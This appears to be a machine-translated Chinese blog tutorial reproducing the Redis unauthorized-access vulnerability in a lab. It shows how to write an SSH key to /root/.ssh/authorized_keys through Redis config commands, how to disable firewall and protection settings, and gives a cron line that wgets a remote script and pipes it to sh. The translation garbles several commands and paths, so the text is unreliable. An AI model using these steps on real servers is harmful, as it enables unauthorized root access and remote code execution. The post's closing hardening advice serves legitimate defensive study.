首页 > 编程知识 正文

redis漏洞利用,redis命令执行漏洞

时间:2023-05-04 17:59:47 阅读:130081 作者:4088

一)漏洞摘要和危害Redis默认绑定到0.0.0.0:6379。 如果未采用相关策略(如设置防火墙规则以避免来自其他不可靠源的IP访问),请将Redis服务暴露到公共网络。

如果未设置密码验证(通常为空),则任何用户都可以在目标服务器下非法访问Redis并读取Redis数据。

攻击者访问后,可以使用Redis自身提供的config命令进行写入文件的操作

您可以将自己的SSH公钥成功写入目标服务器的/root/.SSH文件夹中的authotrized_keys文件,并且可以使用相应的私钥直接使用SSH服务登录到目标服务器

简而言之,漏洞产生的条件有以下两点。

由于redis服务绑定到0.0.0.0:6379端口并信任其他IP,redis服务将发布到公共网络,并且未设置密码验证,因此将紧密登录到redis服务

泄露机密信息,恶意运行flushall以清空所有数据,通过Eval运行Lua代码,通过备份功能将后门文件写入磁盘,如果Redis服务以root身份运行,则2 :漏洞再现关于密码验证:

秘密密钥认证是指在基于公开密钥加密的认证中使用公开密钥加密来解密秘密密钥。 公钥是公开的,放置在服务器端可以将同一公钥放置在想要进行SSH登录的服务器上,但私钥本身知道一个大致的过程。 1 .客户端生成私钥和公钥,将公钥复制到服务器端2 .客户端发出登录请求,发送自身的相关信息3 .服务器端根据客户端的信息,查找是否有该客户端的公钥。 如果不拒绝,则生成随机数,用该公钥加密并发送到客户端4。 客户端在收到服务器发送来的加密信息后,用私钥解密,并将解密结果发送给服务器用于验证。 服务器接收客户端发送来的解密结果,与刚才自己生成的随机数进行比较,如果一致则允许登录。 如果不匹配,则拒绝再现登录漏洞:

靶机: CentOS7 10.10.0.6

攻击机: Kali 10.10.0.8

(一)官网下载源代码压缩包

wget 3358 download.redis.io/releases/redis-3.2.11.tar.gz

2 )解冻压缩包

tarzxvfredis-3.2.11.tar.gz

三、进入解压后目录:输入cd redis-3.2.11、make运行

因为我使用的CenOS,这里发生了两个问题

1 .找不到抄送命令

找不到cc命令是因为没有安装gcc,所以使用yum安装即可

2 .致命错误

然后我查了百度,使用make MALLOC=libc命令解决了所有问题

(四) make完成后,进入src目录) cd src,以这种方式将redis-server和redis-cli复制到/usr/帅唇目录下)

Cp redis -服务器/usr /帅气的唇部

cp redis-cli /usr/帅气的唇部

(五)返回目录redis-3.2.11,将redis.conf复制到/etc/目录:

cp redis.conf /etc

()编辑etc的redis配置文件redis.conf

vim /etc/redis.conf

(七)解除IP绑定,允许非本地主机登录redis服务:

(八)关闭保护模式,允许远程连接到redis服务

)用靶机打开redis服务redis-server /etc/redis.conf

在靶机上运行mkdir /root/.ssh命令,创建ssh公钥存储目录

用攻击机生成ssh公钥和私钥,密码设置为空

(十)访问. ssh目录,将生成的目录保存在1.txt中,以便以后上传

(十一)1.将txt写入靶机(使用redis-cli -h ip命令连接靶机并写入文件) ) ) ) ) ) )。

(十二)远程登录到目标计算机上的Redis服务Redis-cli -h 10.10.0.8,并使用config get dir命令指向Redis备份的路径

(此时无法登录的是,在靶机的防火墙问题上使用了iptables -F )

(十三)将Redis备份路径更改为ssh公钥存储目录) (通常默认值为/root/.ssh ) )。

将上载公钥的备份文件的名称设置为authorized_keys

检查更改是否成功(检查是否有authorized_keys文件),如果没有问题,保存并退出,并将ssh公钥成功写入目标机

注:确保没有问题时,请使用sava。 否则,公钥上传将失败

打开主机的“ssh服务”

(十四)攻击机不使用ssh密集登录靶机

现在,您可以利用Redis非法访问漏洞来非法访问ssh中的服务器

3 )漏洞利用Redis的非法漏洞,您可以添加常用公钥并使用私钥登录服务器,但也可以通过

替换系统/var/spool/cron/crontabs/root文件以修改系统的计划任务

的内容是下载类似于* * * * * wget http://IP/Cr.sh|sh/dev/null 21的脚本来执行任务

四.防范方法1 .修改默认端口

2 .设置密码认证

以尽可能低的权限运行Redis服务

版权声明:该文观点仅代表作者本人。处理文章:请发送邮件至 三1五14八八95#扣扣.com 举报,一经查实,本站将立刻删除。